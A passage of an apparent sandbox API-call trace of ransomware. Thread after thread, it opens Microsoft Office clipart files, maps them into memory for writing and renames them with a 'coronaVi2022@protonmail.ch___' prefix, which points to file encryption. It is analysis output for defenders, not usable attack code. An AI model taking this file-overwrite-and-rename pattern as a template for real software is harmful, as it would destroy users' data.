	[0104.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfac
	[0104.939] GetFileSizeEx (in: hFile=0xfac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=33945) returned 1
	[0104.939] CreateFileMappingA (hFile=0xfac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x84a1, lpName=0x0) returned 0xfc8
	[0104.939] MapViewOfFile (hFileMappingObject=0xfc8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.946] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.946] CloseHandle (hObject=0xfc8) returned 1
	[0104.947] GetCurrentThreadId () returned 0x1d7c
	[0104.947] FlushFileBuffers (hFile=0xfac) returned 1
	[0104.950] CloseHandle (hObject=0xfac) returned 1
	[0104.950] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02567J.jpg") returned 97
	[0104.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02567J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02567J.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02567j.jpg")) returned 1
	[0104.952] free (_Block=0x51f60a0) 
	[0104.952] RtlExitUserThread (Status=0x0) 

Thread:
	id = 837
	os_tid = 0x1d80

	[0104.953] _alloca_probe () returned 0x40328a
	[0104.954] GetCurrentThreadId () returned 0x1d80
	[0104.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif", dwFileAttributes=0x80) returned 1
	[0104.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfc8
	[0104.954] GetFileSizeEx (in: hFile=0xfc8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=25499) returned 1
	[0104.954] CreateFileMappingA (hFile=0xfc8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63a5, lpName=0x0) returned 0xfcc
	[0104.954] MapViewOfFile (hFileMappingObject=0xfcc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.959] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.960] CloseHandle (hObject=0xfcc) returned 1
	[0104.960] GetCurrentThreadId () returned 0x1d80
	[0104.960] FlushFileBuffers (hFile=0xfc8) returned 1
	[0104.962] CloseHandle (hObject=0xfc8) returned 1
	[0104.962] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02736G.gif") returned 97
	[0104.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02736G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02736g.gif")) returned 1
	[0104.963] free (_Block=0x51f3088) 
	[0104.963] RtlExitUserThread (Status=0x0) 

Thread:
	id = 838
	os_tid = 0x1d84

	[0104.964] _alloca_probe () returned 0x40328a
	[0104.965] GetCurrentThreadId () returned 0x1d84
	[0104.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp", dwFileAttributes=0x80) returned 1
	[0104.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfcc
	[0104.965] GetFileSizeEx (in: hFile=0xfcc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32400) returned 1
	[0104.965] CreateFileMappingA (hFile=0xfcc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0xfd0
	[0104.966] MapViewOfFile (hFileMappingObject=0xfd0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.972] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.972] CloseHandle (hObject=0xfd0) returned 1
	[0104.972] GetCurrentThreadId () returned 0x1d84
	[0104.972] FlushFileBuffers (hFile=0xfcc) returned 1
	[0104.974] CloseHandle (hObject=0xfcc) returned 1
	[0104.975] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02736U.bmp") returned 97
	[0104.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02736U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02736U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02736u.bmp")) returned 1
	[0104.975] free (_Block=0x51f4090) 
	[0104.976] RtlExitUserThread (Status=0x0) 

Thread:
	id = 839
	os_tid = 0x1d88

	[0104.977] _alloca_probe () returned 0x40328a
	[0104.977] GetCurrentThreadId () returned 0x1d88
	[0104.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp", dwFileAttributes=0x80) returned 1
	[0104.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfd0
	[0104.978] GetFileSizeEx (in: hFile=0xfd0, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=33048) returned 1
	[0104.978] CreateFileMappingA (hFile=0xfd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x811f, lpName=0x0) returned 0xfd4
	[0104.978] MapViewOfFile (hFileMappingObject=0xfd4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0104.985] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0104.985] CloseHandle (hObject=0xfd4) returned 1
	[0104.985] GetCurrentThreadId () returned 0x1d88
	[0104.985] FlushFileBuffers (hFile=0xfd0) returned 1
	[0104.987] CloseHandle (hObject=0xfd0) returned 1
	[0104.988] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02738U.bmp") returned 97
	[0104.988] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02738U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02738U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02738u.bmp")) returned 1
	[0104.988] free (_Block=0x51f0070) 
	[0104.988] RtlExitUserThread (Status=0x0) 

Thread:
	id = 840
	os_tid = 0x1d8c

	[0104.990] _alloca_probe () returned 0x40328a
	[0104.991] GetCurrentThreadId () returned 0x1d8c
	[0104.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif", dwFileAttributes=0x80) returned 1
	[0104.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfd4
	[0104.991] GetFileSizeEx (in: hFile=0xfd4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24363) returned 1
	[0104.991] CreateFileMappingA (hFile=0xfd4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f35, lpName=0x0) returned 0xfd8
	[0104.992] MapViewOfFile (hFileMappingObject=0xfd8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0104.998] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0104.998] CloseHandle (hObject=0xfd8) returned 1
	[0104.998] GetCurrentThreadId () returned 0x1d8c
	[0104.998] FlushFileBuffers (hFile=0xfd4) returned 1
	[0105.001] CloseHandle (hObject=0xfd4) returned 1
	[0105.001] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02740G.gif") returned 97
	[0105.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02740G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02740g.gif")) returned 1
	[0105.002] free (_Block=0x51f3088) 
	[0105.002] RtlExitUserThread (Status=0x0) 

Thread:
	id = 841
	os_tid = 0x1d90

	[0105.004] _alloca_probe () returned 0x40328a
	[0105.004] GetCurrentThreadId () returned 0x1d90
	[0105.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp", dwFileAttributes=0x80) returned 1
	[0105.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfd8
	[0105.004] GetFileSizeEx (in: hFile=0xfd8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=32616) returned 1
	[0105.005] CreateFileMappingA (hFile=0xfd8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f6f, lpName=0x0) returned 0xfdc
	[0105.005] MapViewOfFile (hFileMappingObject=0xfdc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.011] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.011] CloseHandle (hObject=0xfdc) returned 1
	[0105.011] GetCurrentThreadId () returned 0x1d90
	[0105.011] FlushFileBuffers (hFile=0xfd8) returned 1
	[0105.013] CloseHandle (hObject=0xfd8) returned 1
	[0105.013] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02740U.bmp") returned 97
	[0105.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02740U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02740U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02740u.bmp")) returned 1
	[0105.014] free (_Block=0x51f60a0) 
	[0105.014] RtlExitUserThread (Status=0x0) 

Thread:
	id = 842
	os_tid = 0x1d94

	[0105.015] _alloca_probe () returned 0x40328a
	[0105.016] GetCurrentThreadId () returned 0x1d94
	[0105.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif", dwFileAttributes=0x80) returned 1
	[0105.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfdc
	[0105.016] GetFileSizeEx (in: hFile=0xfdc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20645) returned 1
	[0105.017] CreateFileMappingA (hFile=0xfdc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50a9, lpName=0x0) returned 0xfe0
	[0105.017] MapViewOfFile (hFileMappingObject=0xfe0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.021] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.021] CloseHandle (hObject=0xfe0) returned 1
	[0105.021] GetCurrentThreadId () returned 0x1d94
	[0105.021] FlushFileBuffers (hFile=0xfdc) returned 1
	[0105.023] CloseHandle (hObject=0xfdc) returned 1
	[0105.024] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02742G.gif") returned 97
	[0105.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02742G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02742g.gif")) returned 1
	[0105.024] free (_Block=0x51f0070) 
	[0105.024] RtlExitUserThread (Status=0x0) 

Thread:
	id = 843
	os_tid = 0x1d98

	[0105.028] _alloca_probe () returned 0x40328a
	[0105.029] GetCurrentThreadId () returned 0x1d98
	[0105.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp", dwFileAttributes=0x80) returned 1
	[0105.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfe0
	[0105.029] GetFileSizeEx (in: hFile=0xfe0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=31968) returned 1
	[0105.029] CreateFileMappingA (hFile=0xfe0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0xfe4
	[0105.029] MapViewOfFile (hFileMappingObject=0xfe4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.035] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.036] CloseHandle (hObject=0xfe4) returned 1
	[0105.036] GetCurrentThreadId () returned 0x1d98
	[0105.036] FlushFileBuffers (hFile=0xfe0) returned 1
	[0105.039] CloseHandle (hObject=0xfe0) returned 1
	[0105.039] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02742U.bmp") returned 97
	[0105.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02742U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02742U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02742u.bmp")) returned 1
	[0105.040] free (_Block=0x51f3088) 
	[0105.040] RtlExitUserThread (Status=0x0) 

Thread:
	id = 844
	os_tid = 0x1d9c

	[0105.087] _alloca_probe () returned 0x40328a
	[0105.088] GetCurrentThreadId () returned 0x1d9c
	[0105.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif", dwFileAttributes=0x80) returned 1
	[0105.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfe4
	[0105.090] GetFileSizeEx (in: hFile=0xfe4, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=28038) returned 1
	[0105.090] CreateFileMappingA (hFile=0xfe4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d8b, lpName=0x0) returned 0xfe8
	[0105.090] MapViewOfFile (hFileMappingObject=0xfe8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0105.096] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0105.096] CloseHandle (hObject=0xfe8) returned 1
	[0105.096] GetCurrentThreadId () returned 0x1d9c
	[0105.096] FlushFileBuffers (hFile=0xfe4) returned 1
	[0105.101] CloseHandle (hObject=0xfe4) returned 1
	[0105.101] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02743G.gif") returned 97
	[0105.101] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02743G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02743G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02743g.gif")) returned 1
	[0105.102] free (_Block=0x51f0070) 
	[0105.102] RtlExitUserThread (Status=0x0) 

Thread:
	id = 845
	os_tid = 0x1da0

	[0105.098] _alloca_probe () returned 0x40328a
	[0105.098] GetCurrentThreadId () returned 0x1da0
	[0105.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif", dwFileAttributes=0x80) returned 1
	[0105.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfec
	[0105.100] GetFileSizeEx (in: hFile=0xfec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24187) returned 1
	[0105.100] CreateFileMappingA (hFile=0xfec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e85, lpName=0x0) returned 0xff0
	[0105.100] MapViewOfFile (hFileMappingObject=0xff0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.107] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.107] CloseHandle (hObject=0xff0) returned 1
	[0105.107] GetCurrentThreadId () returned 0x1da0
	[0105.107] FlushFileBuffers (hFile=0xfec) returned 1
	[0105.112] CloseHandle (hObject=0xfec) returned 1
	[0105.113] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02746G.gif") returned 97
	[0105.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02746G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02746g.gif")) returned 1
	[0105.114] free (_Block=0x51f90b8) 
	[0105.114] RtlExitUserThread (Status=0x0) 

Thread:
	id = 846
	os_tid = 0x1da4

	[0105.109] _alloca_probe () returned 0x40328a
	[0105.110] GetCurrentThreadId () returned 0x1da4
	[0105.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp", dwFileAttributes=0x80) returned 1
	[0105.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xfe4
	[0105.112] GetFileSizeEx (in: hFile=0xfe4, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=32132) returned 1
	[0105.112] CreateFileMappingA (hFile=0xfe4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d87, lpName=0x0) returned 0xff4
	[0105.112] MapViewOfFile (hFileMappingObject=0xff4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23b0000
	[0105.120] UnmapViewOfFile (lpBaseAddress=0x23b0000) returned 1
	[0105.120] CloseHandle (hObject=0xff4) returned 1
	[0105.120] GetCurrentThreadId () returned 0x1da4
	[0105.120] FlushFileBuffers (hFile=0xfe4) returned 1
	[0105.123] CloseHandle (hObject=0xfe4) returned 1
	[0105.123] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02746U.bmp") returned 97
	[0105.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02746U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02746U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02746u.bmp")) returned 1
	[0105.124] free (_Block=0x51f4090) 
	[0105.124] RtlExitUserThread (Status=0x0) 

Thread:
	id = 847
	os_tid = 0x1da8

	[0105.125] _alloca_probe () returned 0x40328a
	[0105.125] GetCurrentThreadId () returned 0x1da8
	[0105.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif", dwFileAttributes=0x80) returned 1
	[0105.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xff4
	[0105.126] GetFileSizeEx (in: hFile=0xff4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24720) returned 1
	[0105.126] CreateFileMappingA (hFile=0xff4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6090, lpName=0x0) returned 0xfec
	[0105.126] MapViewOfFile (hFileMappingObject=0xfec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0105.131] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0105.131] CloseHandle (hObject=0xfec) returned 1
	[0105.131] GetCurrentThreadId () returned 0x1da8
	[0105.131] FlushFileBuffers (hFile=0xff4) returned 1
	[0105.135] CloseHandle (hObject=0xff4) returned 1
	[0105.136] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02748G.gif") returned 97
	[0105.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___PH02748G.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___ph02748g.gif")) returned 1
	[0105.137] free (_Block=0x51f3088) 
	[0105.137] RtlExitUserThread (Status=0x0) 

Thread:
	id = 848
	os_tid = 0x1dac

	[0105.134] _alloca_probe () returned 0x40328a
	[0105.134] GetCurrentThreadId () returned 0x1dac
	[0105.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp", dwFileAttributes=0x80) returned 1
	[0105.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02748U.bmp" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xff8
	[0105.135] GetFileSizeEx (in: hFile=0xff8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=32400) returned 1
	[0105.135] CreateFileMappingA (hFile=0xff8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e90, lpName=0x0) returned 0xffc
